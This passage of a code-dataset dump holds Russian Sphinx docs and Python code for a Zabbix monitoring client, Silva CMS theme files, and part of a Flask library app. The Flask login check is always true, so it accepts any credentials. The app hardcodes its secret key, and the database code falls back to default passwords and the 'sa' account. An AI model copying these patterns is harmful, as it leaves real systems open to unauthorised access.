"blob_id": "7363052b87884e8ce6cb7780851552eafd110e69",
"content_id": "c12be110b5325b2d98af22c4bf00eb03a9b28e23",
"detected_licenses": [],
"is_generated": false,
"is_vendor": true,
"language": "HTML",
"length_bytes": 12998,
"license_type": "no_license",
"max_line_length": 810,
"num_lines": 162,
"path": "/doc/build/html/install_client.html",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"ru\">\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n \n <title>Клиентская часть — Документация monitor 1.0 rc</title>\n \n <link rel=\"stylesheet\" href=\"_static/classic.css\" type=\"text/css\" />\n <link rel=\"stylesheet\" href=\"_static/pygments.css\" type=\"text/css\" />\n \n <script type=\"text/javascript\">\n var DOCUMENTATION_OPTIONS = {\n URL_ROOT: './',\n VERSION: '1.0 rc',\n COLLAPSE_INDEX: false,\n FILE_SUFFIX: '.html',\n HAS_SOURCE: true\n };\n </script>\n <script type=\"text/javascript\" src=\"_static/jquery.js\"></script>\n <script type=\"text/javascript\" src=\"_static/underscore.js\"></script>\n <script type=\"text/javascript\" src=\"_static/doctools.js\"></script>\n <script type=\"text/javascript\" src=\"_static/translations.js\"></script>\n <link rel=\"top\" title=\"Документация monitor 1.0 rc\" href=\"index.html\" />\n <link rel=\"prev\" title=\"Cерверная часть\" href=\"install_server.html\" /> \n </head>\n <body role=\"document\">\n <div class=\"related\" role=\"navigation\" aria-label=\"related navigation\">\n <h3>Навигация</h3>\n <ul>\n <li class=\"right\" style=\"margin-right: 10px\">\n <a href=\"genindex.html\" title=\"Алфавитный указатель\"\n accesskey=\"I\">указатель</a></li>\n <li class=\"right\" >\n <a href=\"install_server.html\" title=\"Cерверная часть\"\n accesskey=\"P\">назад</a> |</li>\n <li class=\"nav-item nav-item-0\"><a href=\"index.html\">Документация monitor 1.0 rc</a> »</li> \n </ul>\n </div> \n\n <div class=\"document\">\n <div class=\"documentwrapper\">\n <div class=\"bodywrapper\">\n <div class=\"body\" role=\"main\">\n \n <div class=\"section\" id=\"id1\">\n<h1>Клиентская часть<a class=\"headerlink\" href=\"#id1\" title=\"Ссылка на этот заголовок\">¶</a></h1>\n<p>Установка выполняется на любом сервере, который может обратится в 80 порты ТИ и отправлять данные на Zabbix сервер.</p>\n<div class=\"section\" id=\"id2\">\n<h2>Установка<a class=\"headerlink\" href=\"#id2\" title=\"Ссылка на этот заголовок\">¶</a></h2>\n<p>Программа написано и была проверена на python 3.5, но я думаю она будет работать под любым python3.</p>\n<p>1. Установите python3 (<a class=\"reference external\" href=\"https://www.python.org/downloads/\">https://www.python.org/downloads/</a>). При установке обратите внимание, что надо ставить для всех\nпользователей и добавить python в <strong>Path</strong>.\n2. Создайте произвольную папку и скопируйте туда файлы клиентской части - <a class=\"reference internal\" href=\"ref.html#id3\"><span class=\"std std-ref\">Состав</span></a>.</p>\n</div>\n<div class=\"section\" id=\"id3\">\n<h2>Проверка работы<a class=\"headerlink\" href=\"#id3\" title=\"Ссылка на этот заголовок\">¶</a></h2>\n<ol class=\"arabic\">\n<li><p class=\"first\">Проверку работы клиентской части нужно проводить только после успешной установки и проверки работы серверной части.</p>\n</li>\n<li><p class=\"first\">Откройте CMD(от пользователя) и перейдите в папку с установленной клиентской часть.</p>\n</li>\n<li><p class=\"first\">Выполните команду: <cite>python monitorRequest.py -h</cite>. Должна появится справка:</p>\n<div class=\"highlight-default\"><div class=\"highlight\"><pre><span></span><span class=\"n\">usage</span><span class=\"p\">:</span> <span class=\"n\">monitorRequest</span><span class=\"o\">.</span><span class=\"n\">py</span> <span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">h</span><span class=\"p\">]</span> <span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">a</span> <span class=\"n\">addr</span><span class=\"p\">]</span> <span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">p</span> <span class=\"n\">port</span><span class=\"p\">]</span> <span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">s</span> <span class=\"n\">site</span><span class=\"p\">]</span> <span class=\"p\">[</span><span class=\"o\">-</span><span class=\"n\">m</span> <span class=\"n\">method</span><span class=\"p\">]</span>\n\n<span class=\"n\">Программа</span> <span class=\"n\">делает</span> <span class=\"n\">запрос</span> <span class=\"n\">к</span> <span class=\"n\">сервису</span> <span class=\"n\">мониторинга</span> <span class=\"n\">ТИ</span>\n\n<span class=\"n\">optional</span> <span class=\"n\">arguments</span><span class=\"p\">:</span>\n<span class=\"o\">-</span><span class=\"n\">h</span><span class=\"p\">,</span> <span class=\"o\">--</span><span class=\"n\">help</span> <span class=\"n\">show</span> <span class=\"n\">this</span> <span class=\"n\">help</span> <span class=\"n\">message</span> <span class=\"ow\">and</span> <span class=\"n\">exit</span>\n<span class=\"o\">-</span><span class=\"n\">a</span> <span class=\"n\">addr</span> <span class=\"n\">Имя</span> <span class=\"n\">или</span> <span class=\"n\">IP</span> <span class=\"n\">адрес</span> <span class=\"n\">сервера</span> <span class=\"n\">для</span> <span class=\"n\">запроса</span>\n<span class=\"o\">-</span><span class=\"n\">p</span> <span class=\"n\">port</span> <span class=\"n\">Порт</span> <span class=\"n\">сервера</span> <span class=\"n\">для</span> <span class=\"n\">запроса</span>\n<span class=\"o\">-</span><span class=\"n\">s</span> <span class=\"n\">site</span> <span class=\"n\">Сайт</span>\n<span class=\"o\">-</span><span class=\"n\">m</span> <span class=\"n\">method</span> <span class=\"n\">Вид</span> <span class=\"n\">сведений</span><span class=\"o\">.</span> <span class=\"n\">Возможные</span> <span class=\"n\">значения</span><span class=\"p\">:</span> <span class=\"n\">requestSmev</span> <span class=\"o\">-</span> <span class=\"n\">запросы</span> <span class=\"n\">в</span> <span class=\"n\">СМЭВ</span><span class=\"p\">;</span>\n <span class=\"n\">requestPGU</span> <span class=\"o\">-</span> <span class=\"n\">заявления</span> <span class=\"n\">от</span> <span class=\"n\">ПГУ</span><span class=\"o\">/</span><span class=\"n\">МФЦ</span><span class=\"p\">;</span> <span class=\"n\">responsePGU</span> <span class=\"o\">-</span> <span class=\"n\">ответы</span> <span class=\"n\">на</span>\n <span class=\"n\">заявления</span> <span class=\"n\">ПГУ</span><span class=\"o\">/</span><span class=\"n\">МФЦ</span><span class=\"p\">;</span> <span class=\"n\">responseSmev</span> <span class=\"o\">-</span> <span class=\"n\">ответы</span> <span class=\"n\">на</span> <span class=\"n\">СМЭВ</span> <span class=\"n\">запросы</span><span class=\"p\">;</span>\n <span class=\"n\">loadToASP</span> <span class=\"o\">-</span> <span class=\"n\">получение</span> <span class=\"n\">инф</span><span class=\"o\">.</span> <span class=\"n\">с</span> <span class=\"n\">ТИ</span> <span class=\"n\">в</span> <span class=\"n\">АСП</span><span class=\"p\">;</span> <span class=\"n\">loadToTI</span> <span class=\"o\">-</span> <span class=\"n\">отправка</span> <span class=\"n\">инф</span><span class=\"o\">.</span>\n <span class=\"n\">из</span> <span class=\"n\">АСП</span> <span class=\"n\">на</span> <span class=\"n\">ТИ</span><span class=\"o\">.</span>\n</pre></div>\n</div>\n</li>\n<li><p class=\"first\">Попробуйте запрос на виды сведений, например на кол-во запросов в СМЭВ:</p>\n<div class=\"highlight-default\"><div class=\"highlight\"><pre><span></span><span class=\"n\">python</span> <span class=\"n\">monitorRequest</span><span class=\"o\">.</span><span class=\"n\">py</span> <span class=\"o\">-</span><span class=\"n\">a</span> <span class=\"mf\">192.168</span><span class=\"o\">.</span><span class=\"mf\">0.104</span> <span class=\"o\">-</span><span class=\"n\">p</span> <span class=\"mi\">80</span> <span class=\"o\">-</span><span class=\"n\">s</span> <span class=\"n\">monitor</span> <span class=\"o\">-</span><span class=\"n\">m</span> <span class=\"n\">requestSmev</span>\n</pre></div>\n</div>\n</li>\n</ol>\n<p>Результат - число больше 0, если -1 - по возникла ошибка.\n5. Если Вы используете передачу через ftp, то команда для получения чтения данных:</p>\n<div class=\"highlight-default\"><div class=\"highlight\"><pre><span></span><span class=\"n\">monitorRequest</span><span class=\"o\">.</span><span class=\"n\">py</span> <span class=\"o\">-</span><span class=\"n\">a</span> <span class=\"n\">Z</span><span class=\"p\">:</span>\\<span class=\"n\">Tumen</span>\\<span class=\"n\">monitor</span><span class=\"o\">.</span><span class=\"n\">json</span> <span class=\"o\">-</span><span class=\"n\">p</span> <span class=\"mi\">1</span> <span class=\"o\">-</span><span class=\"n\">s</span> <span class=\"n\">monitor</span> <span class=\"o\">-</span><span class=\"n\">m</span> <span class=\"n\">requestSmev</span>\n</pre></div>\n</div>\n</div>\n<div class=\"section\" id=\"id4\">\n<h2>Работа клиентской части<a class=\"headerlink\" href=\"#id4\" title=\"Ссылка на этот заголовок\">¶</a></h2>\n<p>Ниже приведу примеры вызова клиентской программы, которые Вы можете использовать для интеграции с Zabbix и подобными\nсистемами. Обратите внимание, что данные кэшируются, чтобы избежать лишней нагрузки на сервер. Данные возвращаются за\nпоследний час, т.е. если Вы вызвали программу в 11:34, то придут данные с 10:34-11:34, более подробно можете посмотреть\nв <a class=\"reference internal\" href=\"install_server.html#server-work\"><span class=\"std std-ref\">Описание работы (для веб-сервиса)</span></a>.</p>\n</div>\n</div>\n\n\n </div>\n </div>\n </div>\n <div class=\"sphinxsidebar\" role=\"navigation\" aria-label=\"main navigation\">\n <div class=\"sphinxsidebarwrapper\">\n <h3><a href=\"index.html\">Оглавление</a></h3>\n <ul>\n<li><a class=\"reference internal\" href=\"#\">Клиентская часть</a><ul>\n<li><a class=\"reference internal\" href=\"#id2\">Установка</a></li>\n<li><a class=\"reference internal\" href=\"#id3\">Проверка работы</a></li>\n<li><a class=\"reference internal\" href=\"#id4\">Работа клиентской части</a></li>\n</ul>\n</li>\n</ul>\n\n <h4>Предыдущий раздел</h4>\n <p class=\"topless\"><a href=\"install_server.html\"\n title=\"предыдущая глава\">Cерверная часть</a></p>\n <div role=\"note\" aria-label=\"source link\">\n <h3>Эта страница</h3>\n <ul class=\"this-page-menu\">\n <li><a href=\"_sources/install_client.txt\"\n rel=\"nofollow\">Исходный текст</a></li>\n </ul>\n </div>\n<div id=\"searchbox\" style=\"display: none\" role=\"search\">\n <h3>Быстрый поиск</h3>\n <form class=\"search\" action=\"search.html\" method=\"get\">\n <div><input type=\"text\" name=\"q\" /></div>\n <div><input type=\"submit\" value=\"Искать\" /></div>\n <input type=\"hidden\" name=\"check_keywords\" value=\"yes\" />\n <input type=\"hidden\" name=\"area\" value=\"default\" />\n </form>\n</div>\n<script type=\"text/javascript\">$('#searchbox').show(0);</script>\n </div>\n </div>\n <div class=\"clearer\"></div>\n </div>\n <div class=\"related\" role=\"navigation\" aria-label=\"related navigation\">\n <h3>Навигация</h3>\n <ul>\n <li class=\"right\" style=\"margin-right: 10px\">\n <a href=\"genindex.html\" title=\"Алфавитный указатель\"\n >указатель</a></li>\n <li class=\"right\" >\n <a href=\"install_server.html\" title=\"Cерверная часть\"\n >назад</a> |</li>\n <li class=\"nav-item nav-item-0\"><a href=\"index.html\">Документация monitor 1.0 rc</a> »</li> \n </ul>\n </div>\n <div class=\"footer\" role=\"contentinfo\">\n © Copyright 2017, Prostakov A.N..\n Создано с помощью <a href=\"http://sphinx-doc.org/\">Sphinx</a> 1.4.5.\n </div>\n </body>\n</html>"
},
{
"alpha_fraction": 0.6058758497238159,
"alphanum_fraction": 0.626940131187439,
"avg_line_length": 49.802818298339844,
"blob_id": "153a9329ebeb41b4ac2966058a7f6f488d828ac0",
"content_id": "6756867a04d5ce75b30bf73748dcfe33a56c2344",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4718,
"license_type": "no_license",
"max_line_length": 117,
"num_lines": 71,
"path": "/tests.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Содержит несколько тестов, для проверки работоспособности программы после ее установки и настройки,\nдо подключения к IIS\"\"\"\n\nimport unittest\nimport getInfo\nimport sendRequest\nimport time\n\n\nclass case1(unittest.TestCase):\n \"\"\"Класс предназначен для предварительного тестирования. Его нужно выполнить после настройки конфигурационного\n файла и запуска демоверсии сервиса по порту 8080\"\"\"\n def test1_BD_connect(self):\n \"\"\"Проверяет возможность поключения к БД ТИ. Фактически проверяется правильность заполнения конфигурационного\n файла и наличие сетевой связанность с БД\"\"\"\n db, err, ftp = getInfo.readConfig()\n self.assertFalse(err, 'Ошибка при проверки конфигурационного файла: %s' % err)\n con, err = getInfo.getConnection(db)\n self.assertFalse(err, 'Ошибка при соединении с БД: %s' % err)\n cur = con.cursor()\n cur.execute('select top 10 min(id) from PROTOCOL')\n self.assertTrue(cur.fetchone()[0], 'Не удалось извлечь данные протокола')\n con.close()\n\n def test2_testRequestOk(self):\n \"\"\"Делает специальный тестовый запрос, его результат всегда 20\"\"\"\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor', method='test')\n self.assertFalse(err, err)\n self.assertEqual(20, result['info']['test'], 'Этот специальный тестовый метод должен был вернуть 20. '\n 'Пришел ответ %s' % result)\n\n def test3_testRequestERR(self):\n \"\"\"Делает запрос на специальный метод, должен получить код ошибки 42\"\"\"\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor', method='error')\n self.assertFalse(err, err)\n self.assertEqual(42, result['errorCode'], 'Этот запрос с неверными параметрами, должен вернуть код 42. '\n 'Пришел ответ %s' % result)\n\n def test4_testRequestERR(self):\n \"\"\"Делает запрос на несуществующий метод, должен вернуть код 2\"\"\"\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor', method='err')\n self.assertFalse(err, err)\n self.assertEqual(2, result['errorCode'], 'Этот запрос на несуществующий метод, должен вернуть код 2. '\n 'Пришел ответ %s' % result)\n\n def test5_data(self):\n \"\"\"Делает один запрос на реальные данные, должен вернуть errorCode=0\"\"\"\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor')\n self.assertFalse(err, err)\n self.assertEqual(0, result['errorCode'], 'Должен вернуть код ошибки = 0.'\n 'Пришел ответ %s' % result)\n\n def test6_cache(self):\n \"\"\"Проверяет работу кэша на IIS. Делает один запрос на реальные данные. Ждет секунду и делает втрой запрос.\n Сравнивает время в 1-м и 2-м случае. Если кэш работает, они должны совпадать.\"\"\"\n # Первый запрос\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor')\n self.assertFalse(err, err)\n date1 = result['date']\n # Ждем\n time.sleep(1)\n # Второй запрос\n result, err = sendRequest.sendRequest(addr='127.0.0.1', site='monitor')\n self.assertFalse(err, err)\n # Сравнение\n self.assertEqual(date1, result['date'], 'Если кэш работает, время ответа должно быть одинаковым. В первом '\n 'запросе пришел ответ %s, во втором %s' % (date1, result['date']))\n print(result)\n\n"
},
{
"alpha_fraction": 0.5375319123268127,
"alphanum_fraction": 0.5506383180618286,
"avg_line_length": 33.35087585449219,
"blob_id": "031c28d9c961abfff0e241ffdb200f2506cc44ef",
"content_id": "da22dddd584d14b65957c24b238900eca7ddf593",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7049,
"license_type": "no_license",
"max_line_length": 142,
"num_lines": 171,
"path": "/getInfo.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\" Извлекает из БД нужные сведения \"\"\"\n\nimport platform\nimport pypyodbc\nimport os\nimport configparser\nimport datetime\nimport re\n\n\ndef readConfig(file=\"config.ini\"):\n '''\n :param file: имя файла конфигурации\n :return: словарь настроек к БД, FTP, err\n '''\n err = 0\n BD = dict()\n FTP = dict()\n if os.access(file, os.F_OK):\n # выполняется если найден конфигурационный файл\n fp = open(file, encoding='utf-8', mode='r')\n config_str = fp.read()\n fp.close()\n # удалить признак кодировки\n config_str = config_str.replace(u'\\ufeff', '')\n # чтение конфигурационного файла\n Config = configparser.ConfigParser()\n Config.read_string(config_str)\n sections = Config.sections()\n # читаем все секции\n for section in sections:\n i = Config[section]\n # это секция про ИС, их может быть несколько\n if section.count('BD'):\n BD['address'] = i.get('address', fallback='')\n BD['name'] = i.get('name', fallback='')\n BD['user'] = i.get('user', fallback='sa')\n BD['port'] = i.get('port', fallback='1433')\n BD['password'] = i.get('password', fallback='111')\n elif section.count('FTP'):\n FTP['user'] = i.get('user', fallback='')\n FTP['password'] = i.get('password', fallback='111')\n FTP['address'] = i.get('address', fallback='')\n # проверим заполнение сведений об БД\n if len(BD.keys()) == 0:\n print('В конфигурационном файле отсутствует обязательная секция о базн данных.')\n err += 1\n else:\n for key in BD.keys():\n if BD[key] == '':\n print(\"В секции сведение о БД %s не должен быть пустой, заполните его в конфигурационном файле %s\" % (key, file))\n err += 1\n # нет конфигурационного файла\n else:\n print(\"Ошибка! Не найден конфигурационный файл\")\n err = 1\n return BD, FTP, err\n\n\ndef getConnection (DB):\n \"\"\" Соединяется с БД, возвращает коннект. Если не получается, то завершает работу.\n :param DB: словарь с параметрами для соединения\n :return: коннект\n \"\"\"\n # определяет, на какой ОС запущен\n osname = platform.system()\n err = None\n con = None\n con_string = None\n if osname == 'Linux':\n con_string = \"DRIVER=FreeTDS; SERVER=%s; PORT=%s; DATABASE=%s; UID=sa; PWD=%s; TDS_Version=8.0; ClientCharset=UTF8; autocommit=True\" \\\n % (DB['address'], DB['port'], DB['name'], DB['password'])\n elif osname == 'Windows':\n # на windows 2003 тут нужно указать другую версию клиента\n con_string = 'DRIVER={SQL Server Native Client 11.0}; SERVER=%s; DATABASE=%s; UID=sa; PWD=%s' \\\n % (DB['address'], DB['name'], DB['password'])\n else:\n err = 'Запущен на не известной ОС. Работает только с Linux и Windows.'\n if not err:\n try:\n # пробую соединится\n con = pypyodbc.connect(con_string)\n except:\n err = \"Возникла ошибка при соединении с БД ТИ, строка соединения %s\" % con_string\n return con, err\n\n\ndef getInfo(con):\n \"\"\"\n Извлекает из БД протокол за предыдущий час\n :param con: соединение с БД\n :return: структура данных\n \"\"\"\n err = 0\n result = dict()\n # определение настроечных констант\n req = r'Регламент:'\n res = r'Запрос к методу'\n res_1 = r'Запрос к сервису'\n zaiv_1 = re.compile(r'Заявка с номером .* принята успешно.')\n zaiv = r'к методу SetRequest'\n status = r'Статус по заявке'\n load_to_asp = r'Выгрузка с ТИ'\n load_to_ti = r'Завершена загрузка на ТИ'\n # Соединение к БД\n cur = con.cursor()\n # Получаем даты\n now = datetime.datetime.today()\n date_start = datetime.datetime(now.year, now.month, now.day, now.hour - 1, 0, 0)\n date_end = datetime.datetime(now.year, now.month, now.day, now.hour - 1, 59, 59)\n\n try:\n cur.execute('select COMMENT from PROTOCOL WHERE CHANGE_DATE BETWEEN ? AND ?', (date_start, date_end))\n except:\n err = 1\n else:\n # Создание структуры для ответа\n result = {\n 'requestSmev': 0,\n 'requestPGU': 0,\n 'responsePGU': 0,\n 'responseSmev': 0,\n 'loadToASP': 0,\n 'loadToTI': 0\n }\n # В курсоре список строк протокола за последний час, переберем его\n for line in cur.fetchall():\n if line[0].find(req) > -1:\n result['requestSmev'] += 1\n elif (line[0].find(res) > -1) or (line[0].find(res_1) > -1):\n result['responseSmev'] += 1\n if line[0].find(zaiv) > -1:\n result['requestPGU'] += 1\n elif line[0].find(status) > -1:\n result['responsePGU'] += 1\n elif line[0].find(load_to_asp) > -1:\n result['loadToASP'] += 1\n elif line[0].find(load_to_ti) > -1:\n result['loadToTI'] += 1\n elif zaiv_1.match(line[0]):\n # Это для второго варианта сервиса ПГУ\n result['requestPGU'] += 1\n\n return result, err\n\n\ndef getResult():\n \"\"\"\n Использует все выше описанные функции для получения результата из БД\n :return: result, err\n \"\"\"\n err_сode = 0\n result = dict()\n db, ftp, err = readConfig(os.path.join(os.getcwd(), 'config.ini'))\n if err:\n # Не удалось прочитать файл\n err_сode = 10\n else:\n con, err = getConnection(db)\n if err:\n # Не смог соединится с БД\n err_сode = 12\n else:\n result, err = getInfo(con)\n if err:\n # Не смог получить информацию из БД\n err_сode = 14\n return result, err_сode\n\n"
},
{
"alpha_fraction": 0.5714285969734192,
"alphanum_fraction": 0.5776851177215576,
"avg_line_length": 24.945945739746094,
"blob_id": "181a89205447e8ff181e5417a6f5231fa33a1b81",
"content_id": "37d98ed69235102939d425bbf9b28f6058d58724",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1105,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 37,
"path": "/sendRequest.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport http.client\nimport sys\nimport json\n\n\ndef sendRequest(addr, site, method=None, port=80):\n \"\"\"\n :param addr: адрес сервиса\n :param port: порт\n :param site: название сайта\n :param method: метод\n :return: словарь ответа, описание ошибки\n \"\"\"\n err = None\n result = None\n # пытаемся отправить запрос\n if method:\n url = '/%s/cgi.py/%s' % (site, method)\n else:\n url = '/%s/cgi.py' % site\n try:\n con = http.client.HTTPConnection(addr, port)\n con.request(\"GET\", url)\n result = con.getresponse().read()\n result = result.decode('utf-8')\n result = json.loads(result, encoding='utf-8')\n except:\n Type, Value, Trace = sys.exc_info()\n err = \"\"\"Не удалось обратится к сервису, возникли ошибки.\n Тип: %s,\n Значение:%s,\n Трассировка: %s\"\"\" % (Type, Value, Trace)\n con.close()\n return result, err"
}
] | 12 |
shtakai/crime-map | https://github.com/shtakai/crime-map | 565891df3996e0295e1ecb4d4bd9f531ef820b02 | 0e7009e2f25c67fdaed9e547268a0a8fd97a185a | ae47d30aabc6e29101a37b4d7db6c2406fe824e5 | refs/heads/master | 2020-04-06T03:35:23.909760 | 2016-08-11T08:42:24 | 2016-08-11T08:42:24 | 65,400,510 | 0 | 0 | null | 2016-08-10T16:56:43 | 2016-08-10T17:25:14 | 2018-08-05T14:31:20 | Python | [
{
"alpha_fraction": 0.49460431933403015,
"alphanum_fraction": 0.5377697944641113,
"avg_line_length": 22.16666603088379,
"blob_id": "4807c4cdc9cd5fef24e30ca2f890037a12d32b17",
"content_id": "998821bfc12b483da04f5b1f881d38945bb10a7c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 556,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 24,
"path": "/mockdbhelper.py",
"repo_name": "shtakai/crime-map",
"src_encoding": "UTF-8",
"text": "import pymysql\nimport dbconfig\n\n\nclass DBHelper:\n\n def connect(self, database=\"crimemap\"):\n return pymysql.connect(\n host='localhost',\n user=dbconfig.db_user,\n passwd=dbconfig.db_password,\n db=database,\n )\n\n def add_crime(self, category, date, latitude, longitude, description):\n pass\n\n def get_all_crimes(self):\n return[{\n 'latitude': -33.301304,\n 'longitude': 26.523355,\n 'date': '2000-01-01',\n 'category': 'mugging'\n }]\n"
}
] | 1 |
silvacms/silvatheme.standardissue | https://github.com/silvacms/silvatheme.standardissue | 9af341e7f53b8c0e1c3cbc7736e5ba0e7bee9a2d | 9a2256880883baadafa1b1900413bfb53ce555b2 | 123048b1d674cd5f31198142207b5ec31e4f3d22 | refs/heads/master | 2021-01-17T05:22:15.379531 | 2013-12-11T12:54:02 | 2013-12-11T12:54:02 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.701195240020752,
"alphanum_fraction": 0.7056219577789307,
"avg_line_length": 27.59493637084961,
"blob_id": "5af796283c04631fc2fefd1529f739a6a922f064",
"content_id": "93fd9f83414b3255363c1507cc718391183ad74a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2259,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 79,
"path": "/silvatheme/standardissue/standardissue.py",
"repo_name": "silvacms/silvatheme.standardissue",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Copyright (c) 2012-2013 Infrae. All rights reserved.\n# See also LICENSE.txt\n\nfrom zope.traversing.browser import absoluteURL\nfrom zope.cachedescriptors.property import Lazy\n\nfrom silva.core.layout.interfaces import ISilvaSkin\nfrom silva.core import conf as silvaconf\nfrom silva.core.layout.porto import porto\nfrom silva.core.layout.porto.interfaces import IPorto\nfrom silva.core.interfaces import IPublication, ISilvaObject\n\nfrom zeam.form.silva import IPublicFormResources\n\n\nclass IStandardIssue(IPorto, IPublicFormResources):\n \"\"\"Layer for standard issue theme\n \"\"\"\n silvaconf.resource('default.css')\n\n\nclass IStandardIssueSkin(IStandardIssue, ISilvaSkin):\n \"\"\"Skin for standard issue theme\n \"\"\"\n silvaconf.skin('Standard Issue')\n\n\nsilvaconf.layer(IStandardIssue)\n\n\nclass Navigation(porto.Navigation):\n max_depth = 1\n\n\nclass Layout(porto.Layout):\n\n @Lazy\n def publication_title(self):\n return self.context.get_publication().get_title()\n\n @Lazy\n def publication_url(self):\n return self.context.get_publication().absolute_url()\n\n @Lazy\n def search_url(self):\n search = getattr(self.context, 'search', None)\n if ISilvaObject.providedBy(search):\n # get_silva_object cleanup the Acquisition path\n return absoluteURL(search.get_silva_object(), self.request)\n return None\n\n def top_menu_items(self):\n root = self.context.get_root()\n\n def publishable(x):\n return x.is_published() and IPublication.providedBy(x)\n return filter(publishable, root.get_ordered_publishables())\n\n def current_publication_class(self, publication):\n if publication in self.request.PARENTS:\n return 'active'\n return ''\n\n def current_navigation_title(self):\n return self.context.get_publication().get_title()\n\n\nclass Favicon(porto.Favicon):\n \"\"\"Declare that we have a favicon for this layer.\n\n Default favicon url is static/favicon.ico so we don't need to\n do anything besides declaring the Favicon viewlet inside this\n layer and have a static/favicon.ico file.\n If you want it to be something different, define a favicon_url property\n or method for this class.\n \"\"\"\n pass\n"
},
{
"alpha_fraction": 0.6920415163040161,
"alphanum_fraction": 0.6955017447471619,
"avg_line_length": 29.421052932739258,
"blob_id": "9be5265a11428e56c0f18825cbac31b0a8ef946c",
"content_id": "a25d3511697062bdec54ea6e17e88f9553842304",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 578,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 19,
"path": "/README.txt",
"repo_name": "silvacms/silvatheme.standardissue",
"src_encoding": "UTF-8",
"text": "========================\nsilvatheme.standardissue\n========================\n\nStandard Issue is a visual design (theme) for `Silva`_ 3.0 and\nhigher. For previous versions of Silva, please refer to previous\nversions of this extension.\n\nFor more information about how to create your own design, please check\nthe `Silva developer documentation`_.\n\nCode repository\n===============\n\nYou can find the code for this extension in Git:\nhttps://github.com/silvacms/silvatheme.standardissue\n\n.. _Silva developer documentation: http://docs.silvacms.org/latest/\n.. _Silva: http://silvacms.org\n"
}
] | 2 |
qltv123/QLTV | https://github.com/qltv123/QLTV | bc6268870900c405e786c8a6beae8a1d981cf23f | 0ad16da19ff77bd5e50511424f9d7034b6a16914 | 85f73d1b65fd2ecd8dacfbf1ddc0fef539538853 | refs/heads/master | 2020-06-04T15:30:24.257110 | 2019-06-26T07:14:50 | 2019-06-26T07:14:50 | 192,082,475 | 0 | 0 | null | 2019-06-15T13:34:47 | 2019-06-26T07:14:58 | 2019-11-02T06:12:21 | HTML | [
{
"alpha_fraction": 0.6129382848739624,
"alphanum_fraction": 0.6205490827560425,
"avg_line_length": 30.982608795166016,
"blob_id": "41de82291a1488b99b722791fcd8065633d74036",
"content_id": "320c0c642592cdfe1a1af13a67e400e279f5d317",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3751,
"license_type": "no_license",
"max_line_length": 134,
"num_lines": 115,
"path": "/app.py",
"repo_name": "qltv123/QLTV",
"src_encoding": "UTF-8",
"text": "from flask import Flask, render_template,request,redirect,url_for,session\nfrom app2 import get_all, insert_data_book,delete_data_book,update_book_by_id,get_book_by_id\nfrom app3 import get_all2,insert_data_user\napp = Flask(__name__)\napp.secret_key = 'jjsdkfjkjdkfj515'\n\n\[email protected]('/DN', methods = ['POST'])\ndef post_login():\n tk = request.form.get('namedn')\n mk = request.form.get('mkdn')\n if tk == \"admin\" or \"ntduc\" and mk == \"admin\" or \"12051998\":\n session['namedn'] = request.form.get('namedn')\n return redirect(url_for(\"indexTC\"))\n else:\n return \"Login false\"\n\[email protected]('/AddBook', methods = ['POST'])\ndef post():\n book_name = request.form.get('names')\n book_link = request.form.get('link')\n book_sl = request.form.get('sl')\n book_nxb = request.form.get('nxb')\n book_price = int(request.form.get('price'))\n if 'namedn' in session:\n insert_data_book(book_name,book_link,book_sl,book_nxb,book_price)\n return redirect(url_for(\"indexAB\"))\n else:\n return \"Yêu cầu đăng nhập để thực hiện chức năng này\"\n\[email protected]('/AddCardUser', methods = ['POST'])\ndef posrUser():\n user_name = request.form.get('namek')\n user_sex = request.form.get('sex')\n user_bi = request.form.get('birth')\n user_cmt = request.form.get('cmt')\n user_job = request.form.get('job')\n user_le = request.form.get('level')\n user_wp = request.form.get('wp')\n user_phone = request.form.get('phone')\n user_ct = request.form.get('ct')\n user_ci = request.form.get('city')\n user_add = request.form.get('add')\n user_ti = request.form.get('time')\n if 'namedn' in session:\n insert_data_user(user_name,user_sex,user_bi,user_cmt,user_job,user_le,user_wp,user_phone,user_ct,user_ci,user_add,user_ti)\n return redirect(url_for('indexKH'))\n else:\n return \"Yêu cầu đăng nhập để thực hiện chức năng này\"\n\[email protected]('/edit_book/<book_id>',methods = ['POST'])\ndef put_book(book_id):\n bo_names = request.form.get('names')\n bo_li = 